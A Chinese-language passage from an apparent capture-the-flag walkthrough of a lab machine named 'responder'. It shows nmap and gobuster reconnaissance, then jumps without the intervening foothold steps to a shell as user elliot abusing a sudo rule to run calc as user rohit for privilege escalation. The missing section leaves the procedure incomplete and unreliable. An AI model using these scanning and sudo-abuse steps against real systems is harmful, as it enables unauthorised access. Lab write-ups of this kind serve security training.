┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 10:08 +0800 Nmap scan report for 192.168.2.1 Host is up (0.0012s latency). MAC Address: 0A:00:27:00:00:06 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00068s latency). MAC Address: 08:00:27:D6:F1:8C (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.14 Host is up (0.0015s latency). MAC Address: 08:00:27:F9:CF:79 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.65 seconds
靶机IP：192.168.2.14
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.14 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 10:08 +0800 Nmap scan report for 192.168.2.14 Host is up (0.0014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http MAC Address: 08:00:27:F9:CF:79 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 55.92 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.14 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 10:09 +0800 Nmap scan report for 192.168.2.14 Host is up (0.00100s latency).
PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:F9:CF:79 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.14 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 10:09 +0800 Nmap scan report for 192.168.2.14 Host is up (0.0011s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:F9:CF:79 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 102.91 seconds
二、WEB渗透
1、80端口
访问80端口，提示your answer is in the answer..
1 2 3
┌──(root㉿kali)-[~/miaosec] └─# curl http://192.168.2.14 your answer is in the answer..
2、目录扫描
1 2 3 4 5
┌──(root㉿kali)-[~/miaosec] └─# gobuster dir -u http://192.168.2.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,bak
elliot@responder:~$ id uid=1001(elliot) gid=1001(elliot) grupos=1001(elliot)
2、获取rohit权限
查看sudo -l
1 2 3 4 5 6 7 8
elliot@responder:~$ sudo -l sudo: unable to resolve host responder: Fallo temporal en la resolución del nombre Matching Defaults entries for elliot on responder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User elliot may run the following commands on responder: (rohit) NOPASSWD: /usr/bin/calc
elliot@responder:~$ sudo -u rohit /usr/bin/calc sudo: unable to resolve host responder: Fallo temporal en la resolución del nombre C-style arbitrary precision calculator (version 2.12.7.2) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help"forhelp.]
能成功回显id